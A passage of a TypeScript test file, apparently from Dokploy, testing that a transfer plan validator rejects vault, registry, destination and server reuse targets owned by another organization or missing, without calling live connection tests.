"server:server-src-1": {
requirementKey: "server:server-src-1",
action: "reuse",
targetId: "server-dest-1",
},
},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planResolved,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(true);
});
});
describe("validatePlan checks vault/registry/destination reuse targets belong to the caller's org (T-6.12)", () => {
const crossOrgDb = {
query: {
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-dest-1",
config: {
providerType: "hashicorp",
url: "https://vault",
token: "t",
},
organizationId: "org-OTHER",
}),
},
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
registryUrl: "registry.example.com",
username: "user",
password: "realregistrypass123",
organizationId: "org-OTHER",
}),
},
destinations: {
findFirst: async () => ({
destinationId: "destination-dest-1",
accessKey: "key",
secretAccessKey: "realsecretkey456",
bucket: "mybucket",
region: "us-east-1",
endpoint: "https://s3.example.com",
organizationId: "org-OTHER",
}),
},
},
} as any as TransferDb;
it("fails the registry/destination checks without ever calling the live connection test, when the resolved row belongs to another org", async () => {
const { testRegistryConnection } = await import(
"@dokploy/server/services/registry"
);
const { testDestinationConnection } = await import(
"@dokploy/server/services/destination"
);
(testRegistryConnection as any).mockClear();
(testDestinationConnection as any).mockClear();
const checks = await validatePlan(
crossOrgDb,
snapshot,
basePlan,
"org-dest",
);
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).toContain("Not found in this organization");
expect(testRegistryConnection).not.toHaveBeenCalled();
const destinationCheck = checks.find((c) =>
c.check.startsWith("destination:"),
);
expect(destinationCheck?.ok).toBe(false);
expect(destinationCheck?.detail).toContain(
"Not found in this organization",
);
expect(testDestinationConnection).not.toHaveBeenCalled();
});
it("fails the vault check without calling testVaultProviderConnection, when the resolved row belongs to another org", async () => {
const { testVaultProviderConnection } = await import(
"@dokploy/server/services/vault-provider"
);
(testVaultProviderConnection as any).mockClear();
const planWithVault: Plan = {
...basePlan,
resolutions: {
"vault:vault-src": {
requirementKey: "vault:vault-src",
action: "reuse",
targetId: "vault-dest-1",
},
},
};
const checks = await validatePlan(
crossOrgDb,
snapshot,
planWithVault,
"org-dest",
);
const vaultCheck = checks.find((c) => c.check.startsWith("vault:"));
expect(vaultCheck?.ok).toBe(false);
expect(vaultCheck?.detail).toContain("Not found in this organization");
expect(testVaultProviderConnection).not.toHaveBeenCalled();
});
});
describe("validatePlan checks that each server in plan.serverMap belongs to the caller's org (T-9.3)", () => {
it("fails the check without ever calling execAsyncRemote, for a server belonging to another org", async () => {
const { execAsyncRemote } = await import(
"@dokploy/server/utils/process/execAsync"
);
(execAsyncRemote as any).mockClear();
const crossOrgServerDb = {
query: {
...(fakeDb as any).query,
server: {
findFirst: async () => ({
serverId: "server-other-org",
organizationId: "org-OTHER",
}),
},
},
} as any as TransferDb;
const planWithServer: Plan = {
...basePlan,
resolutions: {},
serverMap: { "server-src-1": "server-other-org" },
};
const checks = await validatePlan(
crossOrgServerDb,
snapshot,
planWithServer,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "server:server-other-org",
);
expect(serverCheck?.ok).toBe(false);
expect(serverCheck?.detail).toContain("Not found in this organization");
expect(execAsyncRemote).not.toHaveBeenCalled();
});
});
describe("validatePlan fails the check when a reuse target no longer exists (T-9.4)", () => {
it("fails the registry check (not ok:true) when the target row doesn't exist at all", async () => {
const missingRowDb = {
query: {
...(fakeDb as any).query,
registry: { findFirst: async () => undefined },
},
} as any as TransferDb;
const checks = await validatePlan(
missingRowDb,
snapshot,
basePlan,
"org-dest",
);
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).toContain("Not found in this organization");
});
});

Some files were not shown because too many files have changed in this diff Show More